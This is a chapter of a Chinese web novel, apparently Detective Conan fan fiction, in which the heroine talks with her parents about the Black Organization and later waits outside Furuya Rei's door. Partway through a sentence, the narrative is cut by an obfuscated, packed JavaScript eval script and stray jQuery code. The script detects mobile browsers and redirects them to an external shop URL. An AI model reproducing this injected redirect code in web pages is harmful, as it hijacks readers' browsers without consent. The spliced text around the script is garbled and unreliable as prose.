116.坐在门外

作品:《我对黑皮店员心动不已

    “你们什么时候离开?”


    南野真白双臂交叉坐在单人沙发里,她问得非常直白,上来第一句就有驱逐的意味。


    本来随意瘫坐在沙发里的南野一郎不满地皱起眉头,坐直了身子瞪着南野真白。


    他身边的茱莉娅悠闲地举着茶杯喝茶,只不过抬眼瞄了一眼南野真白,一副事不关己的模样继续喝茶。


    “门口的防护似乎加强了,最近有不少的人来‘骚扰’吧?”南野真白强势地回视着南野一郎,“不能解决还不跑走,离开这里?”


    别墅的机关变多了,可也是按照原本的思路设置的,知道原来的设置点位就能轻轻松松地进来。


    “没有的事,以防万一罢了。”南野一郎不自觉地摸了摸鼻子。


    陶瓷杯底接触到茶几的玻璃面板发出了清脆的声音。


    茱莉娅冷清的声音响起,为他们两个人做下了决断:“我们明天就离开。”


    “……好的。”南野真白没想到茱莉娅女士会开口。


    “哼!”南野一郎气鼓鼓地学着南野真白双手交叉胸前,上臂肌肉一跳一跳的。


    茱莉娅忽视了身边人搞出来的大动作,像是看透了南野真白一样,问:“你要做什么?有什么不为人知的计划?”


    南野真白一怔,她的计划还没有完全想好,她只不过是想让这两人赶快离开,之后不管是她自己带来的麻烦,还是他们带来的麻烦,互相都不会给对方惹上麻烦。


    他们两个人可能1+1>2,可他们三个不一定能1+2>3,他们俩个相处了二十多年,哪怕是争吵,都相爱默契。而她呢,对他们来说只是一个意外产物,相处的时间手指数得过来。


    她可不相信什么血缘上或者天生的默契。


    “你要对那个什么黑衣组织出手了?”看啊,经过茱莉娅的提及,南野一郎立刻就想到了。


    南野真白没回答,在他们面前撒谎没有用,沉默是最好的答案。


    “黑衣组织看似简单,实则不然。”南野一郎神情严肃起来,“你也应该知道这个组织和之前的大富豪乌丸莲耶有关,可实际上呢,他的势力也错综复杂,即便是再有钱,没有权力的支撑不会无声无息地搞出这么多的事情。乌丸莲耶死后,整个家族和集团却迅速落寞都透着不同寻常。”


    “你说的我都不知道啊。”南野真白明晃晃装傻,盯着南野一郎问,“所以你现在还在调查这个组织吗?”


    南野一郎也不说话了,和刚刚南野真白的反应一模一样。


    过了一会儿,南野一郎才认真地说:“那个组织里一堆卧底,这些卧底几乎从来没有明确地接受过指示任务去破坏组织的计划或交易,那些会暴露的卧底一部分是情报传递出现了纰漏,还有一部分以自我意识地行动了,他们的上级从来没有命令他们做多余的事情,他们的任务只有潜伏,获取情报而已。”


    他的表情十分的正经,“你也曾经当卧底,都是一些目标明确的任务吧,总是有些任务结束的盼头。可那些潜入黑衣组织的卧底呢?他们手上多少都为了阻止违背意愿,沾染了人血恶事,久而久之能够分清自己的立场吗?若是两边的立场其实是一样的呢?”


    南野真白听着他的话,在朦胧中找到了答案,也突然明白了十年后的“自己”的行为和痛苦。


    她要是想要“解决”小册子上的名单人物,无论如何她都就站到了降谷零的对立面。


    “我可是很开明的呢。”南野一郎声音越发的深沉,“我不反对你和零那家伙的交往,因为他的底色是善良的,可是你也知道他在车上的回答。我说过的吧,你不去主动招惹,你的男朋友能护着你。”


    “他们试探到门前了,还坐以待毙吗?”南野真白明白他的意思,“你丢了工作,躲躲藏藏回不了家,在外漂泊,就没想过反抗吗?”


    “‘串门’的而已,不碍事的,你也没有明确地证据证明来的是黑衣组织的人吧?30年前的实验室爆炸,没人知道我这种小角色,再说了茱莉娅宝贝在哪里,哪里就是我的家。”南野一郎傻笑起来,突然想起什么,“你要是想和我们一起生活,一起离开,我和茱莉娅宝贝也不反感的。”


    “我不要。”南野真白果断拒绝,站了起来欲言又止,最终还是说了,“你们离开之后,要是再得知我‘死亡’的消息也不要回来。”


    在她说出口之后的一瞬间,她觉得和十年后的“自己”踏上了相同的起点。


    南野一郎和茱莉娅同时神色凝重起来,二人对视一眼,南野一郎想要反对,却被茱莉娅制止。


    “人各有命。”茱莉娅轻描淡写地说,“你是自由的不被束缚的,想干什么就去吧。”


    “那你能喊我一声‘爸爸’吗?”南野一郎突然撩起衣摆,低头擦起眼下,故作悲伤地假哭起来,“我怕以后没有机会了……”


    茱莉娅一脸面无表情,南野真白二脸面无表情。


    茱莉娅伸手掐住南野一郎的腰侧用力一拧,南野一郎龇牙咧嘴地‘哭’出了声:“嘤嘤嘤……”


    “爸爸。”南野真白轻声喊了一声,眼睛看向茱莉娅。


    茱莉娅眼中有一丝抗拒,一直保持着平整度的眉头微微皱起:“我没那么不要脸,我没承担过一天的母亲的责任。”


    可能南野一郎听见后闪过一丝羞愧,仰头四处张望着。


    南野真白点了点头:“其实你们听闻我的‘死讯’而来挺让我意外的了。”


    “我们一直知道你的消息啊。”南野一郎理所当然地说,“是我们让卡仕柏把你调到亚区的,蔻蔻那孩子太活蹦乱跳的了,也挺疯的,有点危险。而且她更喜欢那个白毛疯狂男孩不是吗?”


    茱莉娅转身一拳头砸在南野一郎的腹部。


    “我的每一份工作都没有离开你们的‘安排’吧。”南野真白微笑着说。


    非常虚假的微笑,南野一郎却故意忽略似的,揉着腹部说,“这么一想确实……你说得没错。但也都是你自己选的,靠你自己的本事活下来的不是吗?我们只是关注着你的消息而已。”


    南野真白不语,南野一郎不解:“这让你很生气吗?”


    “倒也没有。”南野真白收敛笑容,“只是觉得自己太过弱小,没脱离掌控。”


    “我们没有掌控你。”茱莉娅淡然地说,“掌控的话,我就把你绑回去和迪诺结婚了。”


    “我不同意!”南野一郎大声喊道,“哪有长得像牛郎一样的首领啊。”


    “不需要经过你的同意。”茱莉娅淡淡地翻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254975|170957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一个白眼,“加百罗涅家族的家风很不错的,迪诺又管不了你,还能兜底。”


    南野真白直接地说:“我不喜欢迪诺,我讨厌他。”


    “听说了。”茱莉娅点了点头。


    南野真白:“?”


    迪诺是大嘴巴,还到处宣传的?


    “我也不喜欢,看来我们的喜好相同。”南野一郎赞同地说。


    茱莉娅视线游移在父女二人身上:“那你们两个喜欢降谷零是因为他和我有相似的发色吗?”


    “当然不是。”南野真白和南野一郎异口同声地说。


    南野真白:“因为一见钟情。”


    南野一郎:“因为饭做得好吃。”


    “太肤浅了吧。”两人又异口同声。


    “一见钟情怎么肤浅了?”


    “做饭好吃怎么肤浅了?”


    “一个看脸,一个看胃口。”茱莉娅为他俩解答,非常冷静且平铺直叙地说,“都会产生多巴胺,产生亢奋的情绪波动,从而会有影响判断的可能。”


    “我只是欣赏降谷零厨艺而已,没有到喜欢的程度。”南野一郎开始为自己解释,故作正经地说,“爱屋及乌罢了。”


    茱莉娅继续说:“无论怎样,要把自己放在考虑一切的首位上,不要为了一个男人去无畏的冒险。”


    “对呀对呀。”南野一郎重重地点头,“我和茱莉娅……”


    茱莉娅捂上他的嘴不让他再多说什么,“明天我们就离开了,要在这里住一晚吗?”


    南野真白望向窗外渐暗的天色,收回视线落在自己手腕上的手链,又看向给她生命的父母。


    南野一郎似大型动物一样被捂住嘴,却低头蹭着茱莉娅的头发,茱莉娅冷清的脸上闪过无奈,却没有不耐烦。


    “不了,我去找降谷零。”南野真白偏开目光。


    南野一郎停下了动作,脸颊贴着茱莉娅的头侧,瞪向南野真白,嘴被茱莉娅捂得更严了一些,“呜!呜呜!”


    “听不懂,再见了,明天我就不送你们了。”南野真白转身摆了摆手。


    她的身后传来浓重夹杂着不满的呼吸声。


    南野真白低头勾起唇角画出弧度,再次驱车离开。


    一路上路灯也逐渐亮起,像是为她指路。


    降谷零所在的公寓越来越近,眼前的一切越来越熟悉,对此的记忆也越来越多,心中感觉也越来越与十年后的世界慢慢重叠。


    南野真白不知不觉已经站在了降谷零的门前,楼道里非常的安静。


    她垂眸看着门锁的孔洞,抬起手来敲了敲门,无人回应。


    她莫名地闪过一丝慌张,再次敲了敲。


    门内隐隐地传来狗叫声,是哈罗。


    她收回了手,哈罗叫了两声之后就静了下来。


    她还是听见爪子刨地的声音,哈罗还守在门口。


    南野真白转个身,背对着门板,倚靠着坐了下来。


    蜷缩起双腿,额头抵在膝盖上,埋在臂弯里,陷入自己的思绪。


    明明坐在一条直直的楼道内,可感觉自己在分岔路口。


    前方的哪个路口的前方站着降谷零,她不知道。


    也许,像背后的门板已经被她隔到身后。